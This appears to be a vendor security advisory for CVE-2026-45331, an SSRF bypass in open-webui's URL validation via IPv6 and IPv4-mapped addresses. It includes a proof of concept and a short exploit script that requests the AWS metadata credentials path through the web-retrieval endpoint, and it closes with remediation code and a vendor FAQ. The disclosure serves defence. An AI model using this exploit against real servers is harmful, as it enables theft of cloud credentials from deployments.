CVE-2026-45331

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()

validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6, the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/open_webui/retrieval/web/utils.py validate_url():

if validators.ipv6(ip, private=True):  # ValidationError is falsy, never raises
    raise ValueError(...)

Proof of concept

import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

import requests, ipaddress

OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254"   # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4

requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
              headers={"Authorization": f"Bearer {TOKEN}"},
              json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Related but separate advisories

• Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
• DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
• urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
• Playwright loader redirect: GHSA-jrfp-m64g-pcwv
• Missing validate_url() call in image_generations: GHSA-h7cc-wwjp-5xqh

Credits

• Dor Konis (dkonis, GE Vernova), first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).
• wlayzz, first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit, fixing validate_url() once resolves all of them.

Any authenticated user can reach any internal IPv4/IPv6 address from the server process, cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-45331 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

Replace the validators library calls with stdlib ipaddress:

import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
    raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
    addr_v4 = addr.ipv4_mapped
    if addr_v4.is_private or addr_v4.is_loopback or ...:
        raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc., see body for full list).

1. What is CVE-2026-45331? CVE-2026-45331 is a high-severity server-side request forgery (SSRF) vulnerability in open-webui (pip), affecting versions <= 0.8.12. It is fixed in 0.9.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-45331? CVE-2026-45331 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45331? open-webui (pip) versions <= 0.8.12 is affected.
4. Is there a fix for CVE-2026-45331? Yes. CVE-2026-45331 is fixed in 0.9.0. Upgrade to this version or later.
5. Is CVE-2026-45331 exploitable, and should I be worried? Whether CVE-2026-45331 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45331 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45331? Upgrade open-webui to 0.9.0 or later.